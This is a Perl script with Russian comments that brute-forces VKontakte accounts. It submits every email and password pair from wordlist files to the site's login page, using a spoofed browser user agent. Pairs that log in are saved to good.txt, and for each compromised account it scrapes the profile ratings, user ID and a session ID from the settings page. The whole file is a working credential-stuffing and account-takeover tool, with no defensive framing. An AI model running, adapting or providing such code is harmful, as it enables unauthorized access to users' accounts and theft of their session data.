#! /usr/bin/perl -w 
use strict; 
use HTTP::Request::Common; 
use LWP::UserAgent; 
use HTTP::Cookies; 

#Список email 
my $ml = 'emails.txt';  
#Сбрученные аккаунты 
my $fname = 'good.txt';  
#Несбрученные аккаунты 
my $fname1 = 'bad.txt';  
#список паролей 
my $psw = 'pass.txt';  
my $control = '-1'; 
my %example; 
my (@data, @data1); 


printf "Starting...\n"; 



sub submit_query { 
    my ($file, %query) = @_; 
    my $user_agent = LWP::UserAgent->new(); 
    my $cookies = HTTP::Cookies->new; 
    my $cookie_jar = HTTP::Cookies->new( 
    file => 'cookies.dat', 
    autosave => 1, ); 
    $user_agent->cookie_jar($cookie_jar); 
    ################### ############################################# 
    $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent); 
    ######################################## ######################## 

    my $request = POST 
    $file, 
    [%query]; 
     
    #################################################### ############ 
    my $response = $user_agent->request($request); 
    my $res = $response->as_string; 
    ####################################### #########################     
     
    if($res =~/<div id='error'>/ ) 
                        { 
                        print FILE1 "[!]Wrong password: "; 
                        $control = '0'; 
         
                        } 
                    else 
                        { 
                         
                            my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php"); 
                            my $response2 = $user_agent->request($req); 
                            my $res2 = $response2->as_string; 
                             
                            if($res2 =~/id="percent">(.*)%</) 
                            { 
                            print FILE "[rate=$1]"; 
                            } 
                            if($res2 =~/percentGold">(.*)</) 
                            { 
                            print FILE "[gold_rate=$1]"; 
                            } 
                            $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php"); 
                            $response2 = $user_agent->request($req); 
                            $res2 = $response2->as_string; 
                            if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";} 
                            if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";} 
                             
                            $control = '1'; 
                             
                        } 
                         
            } 


    open(DAT, $ml) || die("Could not open emails file!"); 
    @data=<DAT>; 
    close(DAT); 
     
    open(DAT1, $psw) || die("Could not open passwords file!"); 
    @data1=<DAT1>; 
    close(DAT1); 
     

my $time = time;  
my $start = localtime; 
printf "Vkontakte brutforoce\n"; 
printf "Started at $start\n"; 

foreach my $mail (@data) 
{ 
chomp($mail); 
foreach my $password (@data1) 
        { 
        chomp($password); 
        %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password); 

        open(FILE, ">>$fname") || die("Could not open $fname\n"); 
        open(FILE1, ">>$fname1") || die("Could not open $fname1\n"); 
        submit_query("http://vkontakte.ru/login. php", %example); 
         
            if ($control == '1')     
                { 
                print FILE "$mail : $password\n"; 
                } 
            else 
                { 
                print FILE1 "$mail : $password\n"; 
                } 
             
        close FILE; 
        close FILE1; 
        } 
} 
$time = time-$time; 
my $end = localtime; 
printf "Completed at $end\n"; 
printf "Time Elapsed: $time sec\n";